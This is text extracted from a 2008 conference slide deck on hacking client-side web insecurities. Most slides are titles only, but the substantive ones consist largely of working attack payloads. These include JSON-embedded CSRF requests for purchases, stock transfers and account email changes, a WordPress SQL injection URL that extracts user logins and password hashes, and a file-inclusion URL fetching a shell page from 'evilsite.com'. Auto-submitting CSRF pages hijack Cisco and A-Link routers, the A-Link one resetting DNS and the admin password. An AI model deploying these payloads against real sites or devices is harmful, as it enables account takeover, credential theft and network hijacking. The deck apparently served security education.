1. Club-Hack 2008 Aditya K Sood Founder , Sec-Niche Security Hacking Client Side Insecurities

3. Hacking Client Side Insecurities Web 2.0 Application Model

4. Hacking Client Side Insecurities [1] Discovering Clients on Internet / Intranet.  Web Application Discovery Protocol  Fingerprinting Embedded Devices.  Rogue Request for HTTP Server Fingerprinting.  JavaScript Based Client Information Retrieval [2] Client Side Attack Patterns.  Pluggable Protocol Handlers.  JavaScript Jacking  JSON Injections [CSRF]  HTTP Verb Jacking  HTTP Verb Tampering.  Insecure Parametric Design of Cookies  Baking with XSS.  War XHR and IFRAME Exploiting Patterns.  Cross Site Request Forging (Embedded Devices)  The High Risk.  Surf Jacking  Jacking HTTPS in Traffic Pool. [3] Web Virtual Environment [RDP/ CITRIX]. [4] Questions and Answers. $ AGENDA

6. Hacking Client Side Insecurities Discovery

17. Hacking Client Side Insecurities Demonstrations!

18. Hacking Client Side Insecurities Web Chemistry! Wow!

19. Hacking Client Side Insecurities Client Side Exploiting Patterns

23. Hacking Client Side Insecurities Java Script Jacking

24. Hacking Client Side Insecurities Java Script Jacking – JSON Injections JSON Injections  The Serialization Insecurity | Web 2.0 Direct Injections with Encoding. Everything is treated as String. Apply toJSONObject(). CSRF  A different way to Fuse attack with Notation Objects. { &quot;menu&quot;: { &quot;id&quot;: &quot;<img src=&quot;https://books.example.com/clickbuy?book=ISBNhere&quantity=100&quot;>&quot;, &quot;value&quot;: &quot;<img src=&quot;https://trading.example.com/xfer?from=MSFT&to=RHAT&confirm=Y&quot;>&quot;, &quot;popup&quot;: &quot;<scriptsrc=&quot;https://www.google.com/accounts/UpdateEmail?service=adsense &Email=mymail@newmail.net&Passwd=cool&save=&quot;></script>&quot; } } } Cross Site Request Forgery Structured in JSON – Google Ad sense Layout.

26. Hacking Client Side Insecurities HTTP Verb Jacking security-constraint> <web-resource-collection> <web-resource-name>drivers</web-resource-name> <description> Security constraint for drivers page </description> <url-pattern>/drivers.html</url-pattern> <http-method>POST</http-method> <http-method>GET</http-method> </web-resource-collection> <auth-constraint> <description> constraint for drivers </description> <role-name>manager</role-name> </auth-constraint> </security-constraint> <login-config> <auth-method>BASIC</auth-method> </login-config> <security-role> <role-name>manager</role-name> The snapshot of web.xml file for a certain target. The security constraint parameter defines the allowed request. The type of Authentication allowed. HTTP Verb Jacking  Manager directories will not be Accessed by GET/POST Request. What about HEAD Request. J2EE ,JSP , ASP , ASP.NET,PHP etc are based on configuration files to process the type of request to handle. [ GET/POST/HEAD etc]

29. Hacking Client Side Insecurities XHR and IFRAME < script > var oRequest = new XMLHttpRequest(); var sURL = &quot;http://www.snapdrive.net/files/571814/chrome.txt&quot;; alert('Downloading a txt file..please wait.'); oRequest.open(&quot;GET&quot;,sURL,false); oRequest.setRequestHeader(&quot;User-Agent&quot;,navigator.userAgent); oRequest.send(null); xmlDoc=oRequest.ResponseText; alert(xmlDoc); if (oRequest.status==200) { alert('Done...now try editing the Text-Box!'); var str=&quot; Winget 3.0 DoS Exploit PoC.Minimize Winget & Right-Click & Copy to clipboard.&quot;; document.write(str.link(&quot;http://&quot;+oRequest.responseText+&quot;.exe&quot;)); } else {alert('Error executing XMLHttpRequest call!');} Local Dos [Milw0rm] var iframe = document.createElement(&quot;IFRAME&quot;); iframe.setAttribute(&quot;src&quot;, 'ftp://localhost/anything'); iframe.setAttribute(&quot;name&quot;, 'myiframe'); iframe.setAttribute(&quot;id&quot;, 'myiframe'); iframe.setAttribute(&quot;onload&quot;, 'read_iframe(&quot;myiframe&quot;)'); iframe.style.width = &quot;100px&quot;; iframe.style.height = &quot;100px&quot;; document.body.appendChild(iframe); Konqueror 3.5.5 Crash [Milw0rm] [Word Press SQL Injection through IFRAME] wp-content/plugins/st_newsletter/stnl_iframe.php?newsletter=-9999+UNION+SELECT+concat(user_login,0x3a,user_pass,0x3a,user_email)+FROM+wp_users-- [PHP Nuke IFRAME] http://www.example.com/nuke_path/iframe.php?file=ftp://user:pass@evilsite.com/public_html/shell.html (or) .htm http://www.milw0rm.com/exploits/6777 http://www.milw0rm.com/exploits/3512

30. Hacking Client Side Insecurities Embedded Devices - CSRF [1] Cisco Router Remote Administration Execution CSRF Exploit [Milw0rm] < html> <body> <body onload=&quot;fdsa.submit();&quot;> <form name=fdsa method=&quot;post&quot; action=&quot;http://10.10.10.1/level/15/exec/-/configure/http&quot;> <input type=hidden name=command value=&quot;alias exec xx xx&quot;> <input type=hidden name=command_url value=&quot;/level/15/exec/-&quot;> <input type=hidden name=new_command_url value=&quot;/level/15/configure/-&quot;> </body> </html> [3] EXPLAY CMS CSRF Exploit <img src=&quot;http://explay.localhost/admin.php?name =users&page=1&order=user_id&set_admin=2&quot; /> [2] A-Link WL54AP3 and WL54AP2 CSRF [Milw0rm] <html> <body onload=&quot;document.wan.submit(); document.password.submit()&quot;> <form action=&quot;http://192.168.1.254/goform/formWanTcpipSetup&quot; method=&quot;post&quot; name=&quot;wan&quot;> <input type=&quot;hidden&quot; value=&quot;dnsManual&quot; name=&quot;dnsMode&quot; checked> <input type=&quot;hidden&quot; name=&quot;dns1&quot; value=&quot;216.239.32.10&quot;> <input type=&quot;hidden&quot; name=&quot;dns2&quot; value=&quot;216.239.32.10&quot;> <input type=&quot;hidden&quot; name=&quot;dns3&quot; value=&quot;216.239.32.10&quot;> <input type=&quot;hidden&quot; name=&quot;webWanAccess&quot; value=&quot;ON&quot; checked=&quot;checked&quot;> </form> <form action=&quot;http://192.168.1.254/goform/formPasswordSetup&quot; method=&quot;post&quot; name=&quot;password&quot;> <input type=&quot;hidden&quot; name=&quot;username&quot; value=&quot;mallory&quot;> <input type=&quot;hidden&quot; name=&quot;newpass&quot; value=&quot;gotroot&quot;> <input type=&quot;hidden&quot; name=&quot;confpass&quot; value=&quot;gotroot&quot;> </form> </body> </html>

32. Hacking Client Side Insecurities Demonstrations!

37. Hacking Client Side Insecurities Demonstrations!

38. Hacking Client Side Insecurities Questions

39. Hacking Client Side Insecurities Thanks and Regards

40. Hacking Client Side Insecurities SecNiche Security http://www.secniche.org